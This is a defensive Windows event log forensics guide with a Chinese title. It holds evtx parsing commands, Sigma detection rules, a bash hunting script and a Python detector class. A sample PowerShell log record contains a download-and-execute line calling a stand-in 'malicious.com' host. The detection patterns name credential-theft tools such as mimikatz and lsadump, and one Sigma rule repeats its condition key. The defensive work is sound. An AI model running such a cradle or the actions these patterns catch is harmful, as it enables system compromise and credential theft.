Windows事件日志深度取证分析

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"/>
    <EventID>4688</EventID>
    <Version>2</Version>
    <Level>0</Level>
    <Task>13312</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2026-03-15T08:23:45.1234567Z"/>
    <EventRecordID>12345678</EventRecordID>
    <Correlation ActivityID="{00000000-0000-0000-0000-000000000000}"/>
    <Execution ProcessID="4" ThreadID="48"/>
    <Channel>Security</Channel>
    <Computer>WORKSTATION01.corp.local</Computer>
    <Security/>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-5-18</Data>
    <Data Name="SubjectUserName">SYSTEM</Data>
    <Data Name="SubjectDomainName">NT AUTHORITY</Data>
    <Data Name="SubjectLogonId">0x3e7</Data>
    <Data Name="NewProcessId">0x1a2b</Data>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="TokenElevationType">%%1937</Data>
    <Data Name="ProcessId">0x0e1c</Data>
    <Data Name="CommandLine">cmd.exe /c whoami</Data>
    <Data Name="TargetUserSid">S-1-0-0</Data>
    <Data Name="TargetUserName">-</Data>
    <Data Name="TargetDomainName">-</Data>
    <Data Name="TargetLogonId">0x0</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Data>
    <Data Name="MandatoryLabel">S-1-16-16384</Data>
  </EventData>
</Event>

python3 evtx_dump.py Security.evtx --output json | jq '.EventRecordID' | sort -n | uniq -d

python3 evtx_dump.py Security.evtx --output json | jq '.EventRecordID' | sort -n | awk 'NR>1{if($1!=prev+1) print "Gap: "prev" -> "$1} {prev=$1}'

python3 evtx_dump.py --validate Security.evtx 2>&1 | head -20

import hashlib
import struct

def verify_chunk_hash(chunk_data):
    chunk_hash_stored = chunk_data[120:152]
    data_to_hash = chunk_data[:120] + chunk_data[152:]
    computed_hash = hashlib.sha256(data_to_hash).digest()
    return chunk_hash_stored == computed_hash

evtx_dump -o json Security.evtx > security_events.json

evtx_dump -o xml Security.evtx | xmllint --xpath '//Event[System[EventID=4688]]' -

evtx_dump --export-templates Security.evtx > templates.json

evtx_dump --output json System.evtx | jq 'select(.System.EventID == 7045)'

python3 evtxparse.py Security.evtx --filter "EventID=4688" --format csv

python3 evtxparse.py Security.evtx --filter "EventID=4624 AND LogonType=10" --output filtered.json

python3 evtxparse.py --multiple /var/evtx/*.evtx --correlate --timeline

evtx_dump -o json Security.evtx | jq 'select(.Event.System.EventID == 4688) | {
  time: .Event.System.TimeCreated."@SystemTime",
  record_id: .Event.System.EventRecordID,
  user: .Event.EventData.SubjectUserName,
  process: .Event.EventData.NewProcessName,
  parent: .Event.EventData.ParentProcessName,
  cmd: .Event.EventData.CommandLine,
  pid: .Event.EventData.NewProcessId
}'

ContextInfo:        None
UserData:
SequenceNumber:    1
Hostname:          WORKSTATION01
HostVersion:       5.1.19041.1
EngineVersion:     5.1.19041.1
RunspaceId:        a1b2c3d4-e5f6-7890-abcd-ef1234567890
PipelineId:
CommandName:
CommandType:       Cmdlet
ScriptName:
CommandPath:
CommandLine:       Get-WmiObject -Class Win32_Process

MessageRecord:
  ScriptBlockText:  Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
  ScriptBlockId:    a1b2c3d4-e5f6-7890-abcd-ef1234567890
  Path:             (该事件来自'无'，因此没有关联路径)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

IEX (New-Object Net.WebClient).DownloadString('http://

[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String(

$PEBytes = [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA

evtx_dump -o json "Microsoft-Windows-PowerShell%4Operational.evtx" | jq 'select(.Event.System.EventID == 4104) | {
  time: .Event.System.TimeCreated."@SystemTime",
  script_block_id: .Event.EventData.ScriptBlockId,
  path: .Event.EventData.Path,
  message_total: .Event.EventData.MessageNumber,
  text: .Event.EventData.ScriptBlockText
}' | jq -s 'group_by(.script_block_id) | map({id: .[0].script_block_id, path: .[0].path, full_text: [.[].text] | join("")})'

evtx_dump -o json "Microsoft-Windows-PowerShell%4Operational.evtx" | jq 'select(.Event.System.EventID == 4104) | select(.Event.EventData.ScriptBlockText | test("ConstrainedLanguage|LanguageMode|AppLocker|CLM"; "i"))'

evtx_dump -o json "Microsoft-Windows-PowerShell%4Operational.evtx" | jq 'select(.Event.System.EventID == 4104) | select(.Event.EventData.ScriptBlockText | test("System\\.Reflection|Assembly\\.Load|FromBase64String|IEX|Invoke-Expression|DownloadString|DownloadFile|Net\\.WebClient|Start-Process.*-WindowStyle Hidden"; "i"))'

evtx_dump -o json Security.evtx | jq 'select(.Event.System.EventID == 4624) | select(.Event.EventData.LogonType == "9") | {
  time: .Event.System.TimeCreated."@SystemTime",
  user: .Event.EventData.TargetUserName,
  domain: .Event.EventData.TargetDomainName,
  source_ip: .Event.EventData.IpAddress,
  workstation: .Event.EventData.WorkstationName,
  process: .Event.EventData.ProcessName,
  auth_package: .Event.EventData.AuthenticationPackageName
}'

evtx_dump -o json Security.evtx | jq 'select(.Event.System.EventID == 4698) | {
  time: .Event.System.TimeCreated."@SystemTime",
  user: .Event.EventData.SubjectUserName,
  task_name: .Event.EventData.TaskName,
  task_content: .Event.EventData.TaskContent
}'

evtx_dump -o json Security.evtx | jq 'select(.Event.System.EventID == 4697) | {
  time: .Event.System.TimeCreated."@SystemTime",
  service_name: .Event.EventData.ServiceName,
  service_file: .Event.EventData.ServiceFileName,
  service_type: .Event.EventData.ServiceType,
  start_type: .Event.EventData.ServiceStartType,
  account: .Event.EventData.ServiceAccountName
}'

evtx_dump -o json Security.evtx | jq -s '[.[].System.TimeCreated."@SystemTime" | sub("\\.[0-9]+Z$";"Z")]' | \
  awk -F'"' '{
    for(i=2;i<=NF;i++) {
      if($i ~ /^[0-9]{4}-/) {
        cmd="date -j -f \"%Y-%m-%dT%H:%M:%SZ\" \""$i"\" \"+%s\""
        cmd | getline epoch
        close(cmd)
        if(prev != "" && epoch - prev > 3600) print "GAP: "prev_time" -> "$i" ("epoch-prev" seconds)"
        prev=epoch; prev_time=$i
      }
    }
  }'

evtx_dump -o json Security.evtx | jq 'select(.Event.System.EventID == 1100 or .Event.System.EventID == 1101 or .Event.System.EventID == 1102) | {
  time: .Event.System.TimeCreated."@SystemTime",
  event_id: .Event.System.EventID,
  record_id: .Event.System.EventRecordID,
  provider: .Event.System.Provider.Name
}'

log2timeline.py --storage_file timeline.plaso /path/to/evidence/

psort.py -o l2tcsv timeline.plaso "datetime > '2026-03-01 00:00:00' AND datetime < '2026-03-16 00:00:00'" --output timeline.csv

psort.py -o json timeline.plaso "source_short == 'EVTX'" --output evtx_only.json

import pandas as pd
import json
import matplotlib.pyplot as plt
from collections import Counter

evtx_events = []
with open('security_events.json', 'r') as f:
    for line in f:
        try:
            evtx_events.append(json.loads(line))
        except json.JSONDecodeError:
            pass

df = pd.DataFrame([{
    'time': e.get('Event', {}).get('System', {}).get('TimeCreated', {}).get('@SystemTime', ''),
    'event_id': e.get('Event', {}).get('System', {}).get('EventID', 0),
    'user': e.get('Event', {}).get('EventData', {}).get('SubjectUserName', ''),
    'process': e.get('Event', {}).get('EventData', {}).get('NewProcessName', ''),
    'cmd': e.get('Event', {}).get('EventData', {}).get('CommandLine', '')
} for e in evtx_events if e.get('Event', {}).get('System', {}).get('EventID') == 4688])

print(f"Total 4688 events: {len(df)}")
print(f"\nTop processes by count:")
print(df['process'].value_counts().head(20))
print(f"\nCommands containing suspicious keywords:")
suspicious = df[df['cmd'].str.contains('powershell|cmd.*\\bwhoami\\b|net.*user|certutil|bitsadmin', case=False, na=False)]
print(suspicious[['time', 'user', 'process', 'cmd']].to_string())

title: 日志清除事件检测
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: stable
description: 检测Windows安全日志被清除的事件，这是反取证的典型行为
references:
  - https://attack.mitre.org/techniques/T1070/001/
author: x7peeps
date: 2026/07/10
modified: 2026/07/10
tags:
  - attack.defense_evasion
  - attack.t1070.001
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 1102
  condition: selection
level: high
falsepositives:
  - 合法的系统维护操作
fields:
  - SubjectUserName
  - SubjectDomainName
  - AuditBacklogChanges

title: 可疑PowerShell下载执行
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: stable
description: 检测PowerShell中常见的下载执行模式，可能为远程代码执行
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: x7peeps
date: 2026/07/10
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  product: windows
  service: powershell-classic
detection:
  selection_webclient:
    EventID: 4104
    ScriptBlockText|contains:
      - 'Net.WebClient'
      - 'DownloadString'
      - 'DownloadFile'
      - 'DownloadData'
      - 'Invoke-WebRequest'
      - 'IWR'
      - 'wget'
      - 'curl'
  selection_invoke:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'Invoke-Expression'
      - 'Invoke-Command'
      - 'Invoke-Item'
  selection_encoding:
    EventID: 4104
    ScriptBlockText|contains:
      - 'FromBase64String'
      - 'FromBase64'
      - '-EncodedCommand'
      - '-enc'
      - '-e '
  condition: selection_webclient and selection_invoke
  condition: selection_webclient and selection_encoding
level: high
falsepositives:
  - 合法的PowerShell部署脚本

title: 异常LogonType 9登录活动
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: stable
description: 检测LogonType 9（NewCredentials）登录事件，可能为RunAs或Pass-the-Hash
references:
  - https://attack.mitre.org/techniques/T1550/002/
author: x7peeps
date: 2026/07/10
tags:
  - attack.lateral_movement
  - attack.t1550.002
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 9
  filter_normal:
    SubjectUserName|endswith: '$'
    TargetUserName|endswith: '$'
  condition: selection and not filter_normal
level: medium
falsepositives:
  - 合法的RunAs /runas操作
fields:
  - TargetUserName
  - TargetDomainName
  - IpAddress
  - WorkstationName
  - ProcessName
  - AuthenticationPackageName

#!/bin/bash
EVTX_DIR="${1:-/var/evtx}"
OUTPUT_DIR="${2:-/tmp/hunt_results}"
mkdir -p "$OUTPUT_DIR"

echo "[*] Windows Event Log Hunting Script"
echo "[*] Target directory: $EVTX_DIR"
echo "[*] Output directory: $OUTPUT_DIR"

echo "[1/6] Hunting for log clear events (1102)..."
evtx_dump -o json "$EVTX_DIR/Security.evtx" 2>/dev/null | \
  jq -c 'select(.Event.System.EventID == 1102)' > "$OUTPUT_DIR/log_clear_events.jsonl"
COUNT=$(wc -l < "$OUTPUT_DIR/log_clear_events.jsonl")
echo "  Found $COUNT log clear events"

echo "[2/6] Hunting for suspicious process creation (4688)..."
evtx_dump -o json "$EVTX_DIR/Security.evtx" 2>/dev/null | \
  jq -c 'select(.Event.System.EventID == 4688) | select(.Event.EventData.CommandLine | test("mimikatz|cobalt|beacon|invoke-mimikatz|sekurlsa|kerberos::list|lsadump|invoke-shellcode|downloadstring|frombase64|certutil.*decode|bitsadmin.*transfer"; "i"))' > "$OUTPUT_DIR/suspicious_process.jsonl"
COUNT=$(wc -l < "$OUTPUT_DIR/suspicious_process.jsonl")
echo "  Found $COUNT suspicious process events"

echo "[3/6] Hunting for lateral movement (4624 LogonType 9/10)..."
evtx_dump -o json "$EVTX_DIR/Security.evtx" 2>/dev/null | \
  jq -c 'select(.Event.System.EventID == 4624) | select(.Event.EventData.LogonType == "9" or .Event.EventData.LogonType == "10")' > "$OUTPUT_DIR/lateral_movement.jsonl"
COUNT=$(wc -l < "$OUTPUT_DIR/lateral_movement.jsonl")
echo "  Found $COUNT LogonType 9/10 events"

echo "[4/6] Hunting for service installation (4697)..."
evtx_dump -o json "$EVTX_DIR/Security.evtx" 2>/dev/null | \
  jq -c 'select(.Event.System.EventID == 4697) | select(.Event.EventData.ServiceFileName | test("temp|appdata|downloads|public|desktop|\\\.tmp|\\\.dat|\\\.exe\.\\\\\""; "i"))' > "$OUTPUT_DIR/suspicious_services.jsonl"
COUNT=$(wc -l < "$OUTPUT_DIR/suspicious_services.jsonl")
echo "  Found $COUNT suspicious service installations"

echo "[5/6] Hunting for PowerShell suspicious activity (4104)..."
PS_LOG="$EVTX_DIR/Microsoft-Windows-PowerShell%4Operational.evtx"
if [ -f "$PS_LOG" ]; then
  evtx_dump -o json "$PS_LOG" 2>/dev/null | \
    jq -c 'select(.Event.System.EventID == 4104) | select(.Event.EventData.ScriptBlockText | test("invoke-expression|invoke-command|iex |downloadstring|frombase64string|reflection\\.assembly|add-type.*-type|start-process.*-windowstyle hidden"; "i"))' > "$OUTPUT_DIR/suspicious_ps.jsonl"
  COUNT=$(wc -l < "$OUTPUT_DIR/suspicious_ps.jsonl")
  echo "  Found $COUNT suspicious PowerShell events"
else
  echo "  PowerShell Operational log not found, skipping"
fi

echo "[6/6] Hunting for scheduled task creation (4698)..."
evtx_dump -o json "$EVTX_DIR/Security.evtx" 2>/dev/null | \
  jq -c 'select(.Event.System.EventID == 4698)' > "$OUTPUT_DIR/scheduled_tasks.jsonl"
COUNT=$(wc -l < "$OUTPUT_DIR/scheduled_tasks.jsonl")
echo "  Found $COUNT scheduled task creation events"

echo ""
echo "[*] Hunting complete. Results saved to $OUTPUT_DIR/"
echo "[*] Summary:"
for f in "$OUTPUT_DIR"/*.jsonl; do
  name=$(basename "$f" .jsonl)
  count=$(wc -l < "$f")
  echo "  - $name: $count events"
done

import json
import sys
import os
from datetime import datetime, timedelta
from collections import Counter, defaultdict

class EvtxHunter:
    def __init__(self, evtx_json_path):
        self.events = []
        self.load_events(evtx_json_path)

    def load_events(self, path):
        with open(path, 'r', encoding='utf-8') as f:
            for line in f:
                try:
                    self.events.append(json.loads(line))
                except json.JSONDecodeError:
                    continue

    def get_event_field(self, event, field):
        try:
            return event.get('Event', {}).get('EventData', {}).get(field, '')
        except (AttributeError, TypeError):
            return ''

    def detect暴力破解(self, threshold=10, window_minutes=30):
        failed_logons = []
        for e in self.events:
            if e.get('Event', {}).get('System', {}).get('EventID') == 4625:
                time_str = e.get('Event', {}).get('System', {}).get('TimeCreated', {}).get('@SystemTime', '')
                user = self.get_event_field(e, 'TargetUserName')
                ip = self.get_event_field(e, 'IpAddress')
                if time_str and user and ip and user != '-' and ip != '-':
                    failed_logons.append({
                        'time': time_str,
                        'user': user,
                        'ip': ip
                    })

        results = []
        by_user_ip = defaultdict(list)
        for entry in failed_logons:
            key = f"{entry['user']}|{entry['ip']}"
            by_user_ip[key].append(entry)

        for key, entries in by_user_ip.items():
            if len(entries) >= threshold:
                results.append({
                    'type': 'brute_force',
                    'severity': 'HIGH',
                    'user_ip': key,
                    'count': len(entries),
                    'sample_times': [e['time'] for e in entries[:5]]
                })

        return results

    def detect日志清除(self):
        results = []
        for e in self.events:
            if e.get('Event', {}).get('System', {}).get('EventID') == 1102:
                results.append({
                    'type': 'log_clear',
                    'severity': 'CRITICAL',
                    'time': e.get('Event', {}).get('System', {}).get('TimeCreated', {}).get('@SystemTime', ''),
                    'user': self.get_event_field(e, 'SubjectUserName'),
                    'domain': self.get_event_field(e, 'SubjectDomainName'),
                    'record_id': e.get('Event', {}).get('System', {}).get('EventRecordID', 0)
                })
        return results

    def detect异常父子进程(self):
        suspicious_pairs = [
            ('winword.exe', 'cmd.exe'),
            ('excel.exe', 'cmd.exe'),
            ('outlook.exe', 'powershell.exe'),
            ('winword.exe', 'powershell.exe'),
            ('excel.exe', 'mshta.exe'),
            ('iexplore.exe', 'cmd.exe'),
            ('chrome.exe', 'cmd.exe'),
        ]
        results = []
        for e in self.events:
            if e.get('Event', {}).get('System', {}).get('EventID') == 4688:
                parent = self.get_event_field(e, 'ParentProcessName').split('\\')[-1].lower()
                child = self.get_event_field(e, 'NewProcessName').split('\\')[-1].lower()
                for p, c in suspicious_pairs:
                    if parent == p and child == c:
                        results.append({
                            'type': 'suspicious_parent_child',
                            'severity': 'HIGH',
                            'time': e.get('Event', {}).get('System', {}).get('TimeCreated', {}).get('@SystemTime', ''),
                            'parent': self.get_event_field(e, 'ParentProcessName'),
                            'child': self.get_event_field(e, 'NewProcessName'),
                            'cmd': self.get_event_field(e, 'CommandLine'),
                            'user': self.get_event_field(e, 'SubjectUserName'),
                            'mitre': 'T1204.002'
                        })
        return results

    def detect横向移动(self):
        results = []
        for e in self.events:
            if e.get('Event', {}).get('System', {}).get('EventID') == 4624:
                logon_type = self.get_event_field(e, 'LogonType')
                if logon_type in ('9', '10'):
                    target_user = self.get_event_field(e, 'TargetUserName')
                    source_ip = self.get_event_field(e, 'IpAddress')
                    auth_pkg = self.get_event_field(e, 'AuthenticationPackageName')
                    if target_user and not target_user.endswith('$'):
                        results.append({
                            'type': 'lateral_movement',
                            'severity': 'MEDIUM',
                            'time': e.get('Event', {}).get('System', {}).get('TimeCreated', {}).get('@SystemTime', ''),
                            'logon_type': logon_type,
                            'user': target_user,
                            'source_ip': source_ip,
                            'auth_package': auth_pkg,
                            'mitre': 'T1021'
                        })
        return results

    def generate_report(self):
        all_findings = []
        all_findings.extend(self.detect日志清除())
        all_findings.extend(self.detect暴力破解())
        all_findings.extend(self.detect异常父子进程())
        all_findings.extend(self.detect横向移动())

        all_findings.sort(key=lambda x: x.get('time', ''), reverse=True)

        severity_order = {'CRITICAL': 0, 'HIGH': 1, 'MEDIUM': 2, 'LOW': 3}
        all_findings.sort(key=lambda x: severity_order.get(x.get('severity', 'LOW'), 3))

        print(f"{'='*80}")
        print(f"  Windows Event Log Forensics Report")
        print(f"  Total events analyzed: {len(self.events)}")
        print(f"  Total findings: {len(all_findings)}")
        print(f"{'='*80}")

        for i, f in enumerate(all_findings, 1):
            print(f"\n[{i}] [{f['severity']}] {f['type']}")
            for k, v in f.items():
                if k not in ('type', 'severity'):
                    print(f"    {k}: {v}")

        return all_findings


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <security_evtx_json>")
        sys.exit(1)

    hunter = EvtxHunter(sys.argv[1])
    findings = hunter.generate_report()